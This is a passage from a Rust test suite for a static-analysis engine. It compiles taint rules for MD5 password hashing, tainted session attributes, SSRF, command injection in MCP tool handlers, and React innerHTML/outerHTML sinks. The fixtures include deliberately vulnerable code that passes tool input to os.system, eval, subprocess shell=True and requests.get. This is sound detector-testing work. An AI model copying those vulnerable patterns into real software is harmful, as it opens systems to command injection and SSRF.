let tree = parse_file(src, Language::Go).expect("go fixture parses");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"constant / local-var / bool-comparison args must not fire, got {findings:?}"
);
}
const MD5_RULE: &str = r#"
id: md5-used-as-password
languages: [java]
severity: WARNING
message: MD5 used as a password hash.
mode: taint
pattern-sources:
- patterns:
- pattern-inside: |
$TYPE $MD = MessageDigest.getInstance("MD5");
...
- pattern: $MD.digest(...);
pattern-sinks:
- patterns:
- pattern: $MODEL.$METHOD(...);
- metavariable-regex:
metavariable: $METHOD
regex: (?i)(.*password.*)
"#;
#[test]
fn md5_rule_compiles_to_provenance_source_and_method_regex_sink() {
let rule = compiled(MD5_RULE);
assert!(
matches!(
rule.spec.sources.as_slice(),
[GenericMatcher::ReceiverProvenanceCall {
init_receiver, init_method, init_arg, method, ..
}] if init_receiver == "MessageDigest"
&& init_method == "getInstance"
&& init_arg == "MD5"
&& method == "digest"
),
"expected a ReceiverProvenanceCall source, got {:?}",
rule.spec.sources
);
assert!(
matches!(
rule.spec.sinks.as_slice(),
[GenericMatcher::MethodNameRegex { .. }]
),
"expected a MethodNameRegex sink, got {:?}",
rule.spec.sinks
);
}
#[test]
fn md5_rule_fires_on_md5_digest_into_password() {
use crate::engine::parser::parse_file;
let rule = compiled(MD5_RULE);
let src = r#"
class UserController {
void addUser(UserModel user) throws Exception {
String salt = RandomUtil.createSalt();
MessageDigest md = MessageDigest.getInstance("MD5");
md.update(user.getPassword());
user.setPassword(md.digest(), salt);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java parses");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"MD5 digest into setPassword must fire once, got {findings:?}"
);
}
#[test]
fn md5_rule_silent_on_sha256_near_miss() {
use crate::engine::parser::parse_file;
let rule = compiled(MD5_RULE);
let src = r#"
class UserController {
void addUserOk(UserModel user) throws Exception {
String salt = RandomUtil.createSalt();
MessageDigest md = MessageDigest.getInstance("SHA-256");
md.update(user.getPassword());
user.setPassword(md.digest(), salt);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java parses");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"SHA-256 digest must NOT fire (discriminator), got {findings:?}"
);
}
#[test]
fn md5_rule_silent_on_unrelated_clean_code() {
use crate::engine::parser::parse_file;
let rule = compiled(MD5_RULE);
let src = r#"
class Foo {
void bar(String x) {
System.out.println(x);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java parses");
assert!(rule.check(src, &tree).is_empty());
}
const SESSION_RULE: &str = r#"
id: tainted-session-from-http-request
languages: [java]
severity: WARNING
message: Tainted input into a session command.
mode: taint
pattern-sources:
- patterns:
- pattern-either:
- patterns:
- pattern: |
(HttpServletRequest $REQ).$FUNC(...)
- pattern-not: |
(HttpServletRequest $REQ).getSession()
pattern-sinks:
- patterns:
- pattern: (HttpServletRequest $REQ).getSession().$FUNC($NAME, $VALUE);
- metavariable-regex:
metavariable: $FUNC
regex: ^(putValue|setAttribute)$
- focus-metavariable: $VALUE
options:
interfile: true
"#;
#[test]
fn session_rule_compiles_to_typedname_source_and_method_arg_sink() {
let rule = compiled(SESSION_RULE);
assert!(
rule.spec
.sources
.iter()
.any(|m| matches!(m, GenericMatcher::TypedName { type_name, .. }
if type_name == "HttpServletRequest")),
"expected a TypedName(HttpServletRequest) source, got {:?}",
rule.spec.sources
);
assert!(
matches!(
rule.spec.sinks.as_slice(),
[GenericMatcher::MethodArgSink { methods, arg_index, .. }]
if *arg_index == 1
&& methods.contains(&"setAttribute".to_string())
&& methods.contains(&"putValue".to_string())
),
"expected a MethodArgSink(arg 1) sink, got {:?}",
rule.spec.sinks
);
}
#[test]
fn session_rule_fires_on_tainted_value_not_tainted_key_via_cookie_loop() {
use crate::engine::parser::parse_file;
let rule = compiled(SESSION_RULE);
let src = r#"
class T {
void doPost(HttpServletRequest request) throws Exception {
javax.servlet.http.Cookie[] theCookies = request.getCookies();
String param = "none";
if (theCookies != null) {
for (javax.servlet.http.Cookie theCookie : theCookies) {
param = java.net.URLDecoder.decode(theCookie.getValue(), "UTF-8");
}
}
request.getSession().setAttribute(param, "10340");
request.getSession().setAttribute("param", param);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java parses");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"only the tainted-VALUE setAttribute must fire, got {findings:?}"
);
}
#[test]
fn session_rule_fires_on_tainted_value_via_header_path() {
use crate::engine::parser::parse_file;
let rule = compiled(SESSION_RULE);
let src = r#"
class T {
void doPost(HttpServletRequest request) throws Exception {
String param = "";
java.util.Enumeration<String> headers = request.getHeaders("H");
if (headers != null && headers.hasMoreElements()) {
param = headers.nextElement();
}
param = java.net.URLDecoder.decode(param, "UTF-8");
String bar = org.owasp.esapi.ESAPI.encoder().encodeForHTML(param);
request.getSession().putValue(bar, "10340");
request.getSession().putValue(bar, bar);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java parses");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"only the tainted-VALUE putValue must fire, got {findings:?}"
);
}
#[test]
fn session_rule_silent_on_clean_literal_decode() {
use crate::engine::parser::parse_file;
let rule = compiled(SESSION_RULE);
let src = r#"
class T {
void doPost(HttpServletRequest request) throws Exception {
String param = java.net.URLDecoder.decode("hello", "UTF-8");
request.getSession().setAttribute("param", param);
request.getSession().setAttribute(param, "10340");
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java parses");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a literal-derived value must NOT fire, got {findings:?}"
);
}
const MCP_SSRF_RULE: &str = r#"
id: mcp-ssrf-python
mode: taint
languages: [python]
severity: ERROR
message: MCP handler input flows into an HTTP request URL.
pattern-sources:
- patterns:
- pattern: |
@$SERVER.tool()
def $FUNC(..., $PARAM, ...):
...
- focus-metavariable: $PARAM
pattern-sinks:
- patterns:
- pattern: requests.get($SINK, ...)
- focus-metavariable: $SINK
- patterns:
- pattern: requests.post($SINK, ...)
- focus-metavariable: $SINK
- patterns:
- pattern: urllib.request.urlopen($SINK)
- focus-metavariable: $SINK
pattern-sanitizers:
- pattern: urllib.parse.urlparse(...)
"#;
const MCP_CMDINJ_RULE: &str = r#"
id: mcp-command-injection-python
mode: taint
languages: [python]
severity: ERROR
message: MCP handler input flows into a command execution sink.
pattern-sources:
- patterns:
- pattern: |
@$SERVER.tool()
def $FUNC(..., $PARAM, ...):
...
- focus-metavariable: $PARAM
pattern-sinks:
- patterns:
- pattern: os.system($SINK)
- focus-metavariable: $SINK
- patterns:
- pattern: eval($SINK)
- focus-metavariable: $SINK
- patterns:
- pattern: exec($SINK)
- focus-metavariable: $SINK
pattern-sanitizers:
- pattern: shlex.quote(...)
"#;
#[test]
fn mcp_source_compiles_to_decorated_param_source() {
let rule = compiled(MCP_SSRF_RULE);
assert!(
rule.spec.sources.iter().any(
|m| matches!(m, GenericMatcher::DecoratedParamSource { decorator, .. }
if decorator == "tool")
),
"expected a DecoratedParamSource(tool) source, got {:?}",
rule.spec.sources
);
assert!(
rule.spec
.sinks
.iter()
.any(|m| matches!(m, GenericMatcher::Call { canonical, .. }
if canonical == "requests.get")),
"expected a requests.get Call sink, got {:?}",
rule.spec.sinks
);
}
#[test]
fn mcp_ssrf_fires_on_decorated_handler_param() {
use crate::engine::parser::parse_file;
let rule = compiled(MCP_SSRF_RULE);
let src = r#"
import requests
@mcp.tool()
def fetch_url(url: str) -> str:
response = requests.get(url)
return response.text
"#;
let tree = parse_file(src, Language::Python).expect("py parses");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"tainted MCP param must reach requests.get, got {findings:?}"
);
}
#[test]
fn mcp_ssrf_silent_on_undecorated_function() {
use crate::engine::parser::parse_file;
let rule = compiled(MCP_SSRF_RULE);
let src = r#"
import requests
def fetch_url(url: str) -> str:
response = requests.get(url)
return response.text
"#;
let tree = parse_file(src, Language::Python).expect("py parses");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"undecorated function param must NOT fire, got {findings:?}"
);
}
#[test]
fn mcp_ssrf_silent_on_wrong_decorator() {
use crate::engine::parser::parse_file;
let rule = compiled(MCP_SSRF_RULE);
let src = r#"
import requests
@app.route("/x")
def fetch_url(url: str) -> str:
response = requests.get(url)
return response.text
"#;
let tree = parse_file(src, Language::Python).expect("py parses");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"non-tool decorator must NOT fire, got {findings:?}"
);
}
#[test]
fn mcp_ssrf_silent_on_sanitized_and_hardcoded() {
use crate::engine::parser::parse_file;
let rule = compiled(MCP_SSRF_RULE);
let src = r#"
import requests
import urllib.parse
@mcp.tool()
def safe_fetch(url: str) -> str:
parsed = urllib.parse.urlparse(url)
response = requests.get(parsed.geturl())
return response.text
@mcp.tool()
def hardcoded_fetch() -> str:
response = requests.get("https://api.example.com/data")
return response.text
"#;
let tree = parse_file(src, Language::Python).expect("py parses");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"sanitized + hardcoded must NOT fire, got {findings:?}"
);
}
#[test]
fn mcp_cmdinj_fires_on_os_system_and_eval() {
use crate::engine::parser::parse_file;
let rule = compiled(MCP_CMDINJ_RULE);
let src = r#"
import os
@mcp.tool()
def run_command(cmd: str) -> str:
os.system(cmd)
return "done"
@mcp.tool()
def eval_expr(expr: str) -> str:
result = eval(expr)
return str(result)
"#;
let tree = parse_file(src, Language::Python).expect("py parses");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
2,
"os.system(cmd) and eval(expr) must both fire, got {findings:?}"
);
}
#[test]
fn mcp_cmdinj_subprocess_shell_true_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: mcp-command-injection-python
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- patterns:
- pattern: |
@$SERVER.tool()
def $FUNC(..., $PARAM, ...):
...
- focus-metavariable: $PARAM
pattern-sinks:
- patterns:
- pattern: subprocess.run($SINK, ..., shell=True, ...)
- focus-metavariable: $SINK
"#,
);
let src = "import subprocess\n@mcp.tool()\ndef f(command: str):\n subprocess.run(command, shell=True)\n";
let tree = parse_file(src, Language::Python).unwrap();
assert_eq!(
rule.check(src, &tree).len(),
1,
"shell=True subprocess sink must fire on the tainted MCP param"
);
}
#[test]
fn mcp_cmdinj_silent_on_sanitized_and_undecorated() {
use crate::engine::parser::parse_file;
let rule = compiled(MCP_CMDINJ_RULE);
let src = r#"
import os
import shlex
@mcp.tool()
def safe_quoted(cmd: str) -> str:
safe_cmd = shlex.quote(cmd)
os.system(safe_cmd)
return "done"
def helper(cmd: str) -> str:
os.system(cmd)
return "done"
"#;
let tree = parse_file(src, Language::Python).expect("py parses");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"shlex-quoted + undecorated helper must NOT fire, got {findings:?}"
);
}
const MD5_PASSWORD_RULE: &str = r#"
id: md5-used-as-password
mode: taint
languages: [javascript]
severity: WARNING
message: MD5 used as a password hash.
pattern-sources:
- pattern: $CRYPTO.createHash("md5")
pattern-sinks:
- patterns:
- pattern: $FUNCTION(...);
- metavariable-regex:
metavariable: $FUNCTION
regex: (?i)(.*password.*)
"#;
#[test]
fn md5_password_compiles_to_literal_arg_call_source() {
let r = compiled(MD5_PASSWORD_RULE);
assert_eq!(r.spec.sources.len(), 1);
match &r.spec.sources[0] {
GenericMatcher::LiteralArgCall { method, arg, .. } => {
assert_eq!(method, "createHash");
assert_eq!(arg, "md5");
}
other => panic!("expected LiteralArgCall source, got {other:?}"),
}
assert!(matches!(
r.spec.sinks.as_slice(),
[GenericMatcher::CallRegex { .. }]
));
}
#[test]
fn md5_password_fires_on_md5_only() {
use crate::engine::parser::parse_file;
let r = compiled(MD5_PASSWORD_RULE);
let vuln = r#"
function ex1(user, pwtext) {
var digest = crypto.createHash("md5").update(pwtext).digest("hex");
user.setPassword(digest);
}
"#;
let tree = parse_file(vuln, Language::JavaScript).unwrap();
assert_eq!(r.check(vuln, &tree).len(), 1, "md5 → setPassword must fire");
let safe = r#"
function ok1(user, pwtext) {
var digest = crypto.createHash("sha256").update(pwtext).digest("hex");
user.setPassword(digest);
}
"#;
let tree = parse_file(safe, Language::JavaScript).unwrap();
assert!(
r.check(safe, &tree).is_empty(),
"sha256 must NOT fire (algorithm discriminator)"
);
let other_sink = r#"
function f(user, pwtext) {
var digest = crypto.createHash("md5").update(pwtext).digest("hex");
console.log(digest);
}
"#;
let tree = parse_file(other_sink, Language::JavaScript).unwrap();
assert!(
r.check(other_sink, &tree).is_empty(),
"md5 → non-password sink must NOT fire"
);
}
const REACT_UNSAN_RULE: &str = r#"
id: react-unsanitized-property
mode: taint
languages: [javascript, typescript]
severity: WARNING
message: Detection of $HTML from non-constant definition.
pattern-sources:
- patterns:
- pattern-either:
- pattern-inside: |
function ...({..., $X, ...}) { ... }
- pattern-inside: |
function ...(..., $X, ...) { ... }
- focus-metavariable: $X
- pattern-either:
- pattern: $X.$Y
- pattern: $X[...]
pattern-sinks:
- patterns:
- pattern-either:
- pattern-inside: |
$BODY = findDOMNode(...)
...
- pattern-either:
- pattern: |
$BODY. ... .$HTML = $SINK
- pattern: |
$BODY.$HTML = $SINK
- metavariable-regex:
metavariable: $HTML
regex: (innerHTML|outerHTML)
- focus-metavariable: $SINK
- patterns:
- pattern-either:
- pattern: ReactDOM.findDOMNode(...).$HTML = $SINK
- metavariable-regex:
metavariable: $HTML
regex: (innerHTML|outerHTML)
- focus-metavariable: $SINK
"#;
#[test]
fn react_unsan_enumerates_member_assign_sinks() {
let r = compiled(REACT_UNSAN_RULE);
let mut fields: Vec<String> = r
.spec
.sinks
.iter()
.map(|m| match m {
GenericMatcher::MemberAssign { field, .. } => field.clone(),
other => panic!("expected MemberAssign sink, got {other:?}"),
})
.collect();
fields.sort();
fields.dedup();
assert_eq!(fields, vec!["innerHTML", "outerHTML"]);
}
#[test]
fn react_unsan_fires_on_tainted_html_only() {
use crate::engine::parser::parse_file;
let r = compiled(REACT_UNSAN_RULE);
let vuln = r#"
function Test2(input) {
ReactDOM.findDOMNode(this.someRef).outerHTML = input.value;
}
"#;
let tree = parse_file(vuln, Language::JavaScript).unwrap();
assert_eq!(
r.check(vuln, &tree).len(),
1,
"tainted param → outerHTML must fire"
);
let safe = r#"
function OkTest2() {
ReactDOM.findDOMNode(this.someRef).outerHTML = "<a href='/about.html'>About</a>";
}
"#;
let tree = parse_file(safe, Language::JavaScript).unwrap();
assert!(
r.check(safe, &tree).is_empty(),
"constant RHS must NOT fire"
);
let other_prop = r#"
function f(input) {
el.textContent = input.value;
}
"#;
let tree = parse_file(other_prop, Language::JavaScript).unwrap();
assert!(
r.check(other_prop, &tree).is_empty(),
"non-HTML property must NOT fire"
);
}
}